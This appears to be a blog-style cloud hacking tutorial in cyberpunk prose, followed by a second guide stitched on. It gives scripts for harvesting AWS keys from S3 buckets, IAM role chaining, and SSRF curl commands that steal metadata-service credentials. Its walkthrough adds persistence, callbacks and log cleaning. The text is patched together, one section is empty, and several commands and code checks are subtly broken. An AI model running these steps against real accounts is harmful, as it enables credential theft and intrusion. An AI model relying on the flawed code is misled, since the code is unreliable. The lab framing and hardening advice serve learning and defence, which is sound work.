Hacking the Cloud

The rain hisses outside my data centre window, neon streaks slicing steel-grey clouds. Every hum, every fan whisper, is alive with traffic , packets timing out, TLS handshakes failing, weird S3 error codes leaking like whispers. I can taste ozone and burnt circuits, and I can hear the soft cascade of log entries writing themselves into oblivion. Above me, neon towers of cloud , of compute, storage, and virtual networks , rising like a skyline in cyberspace, illuminated by thousands of flashing APIs. I sink into the matrix, into the cloud’s dark alleys, and begin to map its bones.

Inside this lattice of virtual subnets, identity providers, IAM roles, and routing tables, I feel the soft tremble of potential and the cold certainty of misconfiguration. A forgotten port, a permissive security group, a public VPC endpoint, a server without MFA, credentials stuck in code: these are the cracks. Through those cracks the light gets in and the attacker walks in. And I, gloves tight in neon light, decide to explore those cracks , not to break, but to understand, to probe, to train the mind for the storm ahead.

Section 1: Reconnaissance in the Cloud , Know Your Quadrants

To hack the cloud ethically you must first become an archivist of exposure. This step-by-step exposes what exists before attacking what matters.

Workflow: Mapping the Cloud Perimeter

1. Inventory CSP Accounts and Regions
   • List all AWS/Azure/GCP accounts under your control.
   • For AWS: use IAM to enumerate accounts via AWS Organisations or multiple root accounts.
   • For GCP: check Projects under Organisations.
   • Ensure you note enabled regions since default resources may spin up anywhere.

2. Enumerate Public Endpoints
   • Use DNS brute-forcing tools and subdomain enumeration (e.g. subfinder, Amass) to discover endpoints.
   • For each domain, run dig A, look for CNAMEs pointing to cloud storage or load-balancers.
   • Scan ports (nmap, masscan) for open services: SSH (22), RDP (3389), web servers (80, 443, 8080…), non-standard ones.

3. IAM / Identity Checks
   • List users, service accounts, roles. Extract policies.
   • For AWS: aws iam list-users, aws iam list-roles, aws iam get-role-policy etc.
   • For GCP: gcloud iam roles list, gcloud projects get-iam-policy.
   • Seek overly permissive roles: *, iam:*, storage.admin, etc.

4. Check Logging & Monitoring
   • Ensure CloudTrail (AWS), Azure Activity Log, GCP Audit Logs are enabled in all regions.
   • Look for gaps: disabled regions, absent log delivery to central S3/GCS.
   • Ensure alerts on IAM policy changes and unusual API usage.

Section 2: Gaining a Foothold , Breaking the Gates

Once you've mapped exposure, exploit weakness present. This section is about practical, safe labs to test attack vectors.

How-To: Common Weakness Exploits

Warning: The following snippets are potentially offensive, risky or malicious. Do not execute unless in a controlled, legal, authorised lab environment.

A. Compromised Credentials via Storage Bucket

If credentials are accidentally in source code or in storage like S3/GCS/Azure Blob, you can use a script to find them.

bash
#!/bin/bash
# Find AWS credentials in public buckets (lab only)
for bucket in $(aws s3api list-buckets --query "Buckets[].Name" --output text); do
  aws s3 sync s3://$bucket /tmp/$bucket --no-sign-request
  grep -R "AKIA[0-9A-Z]{16}" /tmp/$bucket && echo "Found credentials in $bucket"
done

B. Exploiting Misconfigured IAM Role Chaining

Use a less-privileged role which trusts you, escalate to a higher role.

python
# Python oss-assume-role example (lab environment)
import boto3

def assume_role(role_arn, session_name="escalate_session"):
    client = boto3.client('sts')
    resp = client.assume_role(RoleArn=role_arn, RoleSessionName=session_name)
    creds = resp['Credentials']
    return creds

# Suppose role1 allows you to assume role2
creds = assume_role("arn:aws:iam::123456789012:role/role2")
client = boto3.client('iam',
    aws_access_key_id=creds['AccessKeyId'],
    aws_secret_access_key=creds['SecretAccessKey'],
    aws_session_token=creds['SessionToken']
)
print(client.list_users())

C. Lateral Movement via Private Network Peering

If two VPCs or VNets are peered, and a misconfigured security group allows internal traffic, an attacker with presence in one can reach resources in another.

• Identify peering connections.
• Use internal DNS resolution to find hostnames.
• Use tools like nmap ‐Pn ‐sT from a compromised EC2 instance or Azure VM.

Section 3: Edge-Case Exploits and Defence Bypasses

These are the weird ones, the ones people miss until it is too late.

Techniques

1. Lambda / Functions Abuse
   • If a serverless function is publicly invokable or triggered by untrusted resources, you may run code of your choosing.
   • Payload injection via event inputs (e.g. S3 events, HTTP triggers) to write malicious code into other services.

2. Metadata Service Manipulation
   • EC2 instance metadata service v1 is vulnerable to SSRF (Server-Side Request Forgery) and pressure. Ensure IMDSv2 is enforced.
   • Edge case: code running in container using IAM task role can leak token via misconfigurations. Pull credentials, pivot.

3. Misconfigured Trust Relationships
   • Cross-account roles with wildcard principals.
   • Over-trusting federated identity providers.
   • Shared keys stored in repos without encryption or rotation.

Section 4: Checklist: Red Team vs Blue Team Actions

Section 5: Sample Workflow , Simulated Attack Walkthrough

This simulates an end-to-end attack in a lab to practise mindset and techniques.

1. Initial Access
   - Find a public web app hosted in AWS using a load-balancer on port 80/443.
   - Exploit SSRF vulnerability to request http://169.254.169.254/latest/meta-data/iam/security-credentials/role.

2. Credential Extraction
   - Fetch temporary IAM role credentials.
   - Use those credentials to enumerate other AWS services (e.g. S3, EC2).

3. Privilege Escalation
   - Identify an IAM policy with iam:PassRole or ability to assume roles in other accounts.
   - Use policy to assume a more privileged role, gain admin level.

4. Lateral Movement
   - Use VPC peering or transit gateway to access other VPCs.
   - Use tools like ssh, nmap or reverse shell to move into subnets.

5. Persistence & Clean-up
   - Deploy a long-running serverless function that calls back.
   - Modify roles or policies to survive rotation.
   - Ensure logs have been manipulated or cleaned if needed in lab.

Actionable Takeaways

• Always treat metadata endpoints as risky. Enforce IMDSv2 or equivalent.
• Ensure IAM roles and policies are least-privilege. Avoid wildcard principals.
• Public endpoints are the front door. Log every access.
• Use network segmentation, VPC peering rules, security groups as strong fences.
• Secrets in code or storage are low hanging fruit for attackers. Automate scanning.

Mini-Lab You Can Try Tonight

• Spin up two AWS accounts (or use existing). In account A, create a Lambda function that is triggered by uploads to a public S3 bucket. In the payload upload a file that triggers the Lambda to send some data to external endpoint.
• In account B, create a role that account A can assume only if the principal is the Lambda’s role. Try to assume that role by manipulating your setup.
• Also try triggering an SSRF from a minimal webserver container to reach the metadata service when IMDSv1 is allowed, then repeat with IMDSv2 enforced.

Title

Practical Pathways to Hacking the Cloud: A Step-by-Step Learning Guide

Aim

To equip you with actionable skills to explore, understand and ethically exploit cloud environments through hands-on examples, enabling you to identify vulnerabilities and strengthen security posture in real cloud deployments.

Learning outcomes

By the end of this guide you will be able to:

• Enumerate cloud resources and identify common misconfigurations in IAM, storage and serverless services
• Perform privilege escalation attacks in cloud platforms using tools and code snippets
• Understand attack paths such as SSRF to instance metadata, role chaining and access key abuse
• Defend against cloud attacks by applying least privilege, enabling secure storage, monitoring logs and rotating credentials

Prerequisites

To follow this guide you should have:

• Basic familiarity with cloud platforms (AWS, Azure or GCP) and their core services: compute, storage, IAM, functions
• Access to a test cloud environment or free-tier account where you have permission to deploy and exploit resources
• Working knowledge of command-line tools (Bash or PowerShell) and scripting (Python recommended)
• Tools: AWS CLI (or equivalent for your cloud), Docker, basic Python environment

Step-by-step instructions

1. Set up your environment
   - Create or use a cloud account in AWS (or your chosen provider); enable billing alerts to avoid unexpected costs.
   - Install AWS CLI and configure credentials with minimal permissions initially.
   - Launch a test project: create a new IAM user or role; set up an S3 bucket, an EC2 instance and a Lambda (or equivalent).

2. Enumerate IAM and storage misconfigurations
   - List IAM roles, policies and find overly-permissive policies. For AWS:

bash
     aws iam list‐roles --query "Roles[?contains(RoleName, 'Admin') || contains(RoleName, 'FullAccess')]"  
     aws iam get‐role‐policy --role-name <role‐name>  

• Check S3 bucket permissions:

bash
     aws s3api get‐bucket‐policy --bucket my-bucket  
     aws s3api get‐public‐access‐block --bucket my-bucket  
     aws s3 ls s3://my-bucket/  

3. Exploit serverless or metadata endpoints
   - Introduce a vulnerable Lambda or function that accepts user input (e.g. via HTTP) and allows SSRF. From within, attempt to access the metadata service at http://169.254.169.254/.
   - If successful you may obtain temporary credentials. In Bash:

bash
     curl http://169.254.169.254/latest/meta‐data/iam/security-credentials/  
     ROLE=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/)  
     curl http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE  

4. Privilege escalation through role chaining or over-permissioned policies
   - In IAM, find a role that can assume another role with higher permissions. Use AWS CLI to simulate:

bash
     aws sts assume-role --role-arn arn:aws:iam::123456789012:role/HighPrivRole --role-session-name exploitSession  

• Use resulting credentials to perform sensitive actions, eg list all IAM users or modify roles.

5. Automate detection of vulnerabilities
   - Write small Python script using AWS SDK (boto3) to scan across buckets, roles and policies:

python
     import boto3  
     iam = boto3.client('iam')  
     s3 = boto3.client('s3')  

     def find_public_buckets():  
         for bucket in s3.list_buckets()['Buckets']:  
             try:  
                 acl = s3.get_bucket_acl(Bucket=bucket['Name'])  
                 for grant in acl['Grants']:  
                     if grant.get('Grantee', {}).get('URI','').endswith('AllUsers'):  
                         print(f"Public bucket: {bucket['Name']}")  
             except Exception: pass  

     def find_admin_roles():  
         for role in iam.list_roles()['Roles']:  
             pols = iam.list_role_policies(RoleName=role['RoleName'])  
             for p in pols['PolicyNames']:  
                 doc = iam.get_role_policy(RoleName=role['RoleName'], PolicyName=p)['PolicyDocument']  
                 # simplistic check for '*' in Action or Resource  
                 if 'Action' in doc and doc['Action'] == '*' or doc.get('Resource','') == '*':  
                     print(f"Over-permissive policy in role: {role['RoleName']}")  

     if __name__ == "__main__":  
         find_public_buckets()  
         find_admin_roles()  

6. Defensive techniques and hardening
   - Ensure least privilege: only grant required actions and resource access. Remove policies using “*” unless absolutely necessary.
   - Enforce multi-factor authentication (MFA) on all accounts including service accounts.
   - Enable logging (CloudTrail, Azure Activity Log), monitor for anomalous API calls and stale/unusual credentials.
   - Rotate access keys frequently; use short-lived credentials or IAM roles instead of long-lived secrets.

Summary of actionable insights

• Misconfigurations are often the weakest link: IAM policies with wildcard permissions, public buckets, over-privileged roles
• SSRF or metadata service access is a powerful vector in most cloud providers
• Automating discovery of misconfigurations lets you scale detection
• Defences must include least privilege, rotation of credentials, strong logging and monitoring

By following these steps you will build practical skills in identifying, exploiting and defending against cloud vulnerabilities, helping you move from theory to real-world competence.

I sit in the server-room hum, the LEDs blinking like distant constellations, USB ports open like lungs gasping for breath. I taste the copper, I feel the taut virtual wires thrumming beneath my fingers. If you have poked at IAM trust, whispered to metadata, danced through VPC peering, carried secrets in storage, then you have known the cloud’s spine. Guard it well. Learn its reflexes. One small misstep and the sky tech becomes razor-wire, the neon glow burns, the cloud rains knives.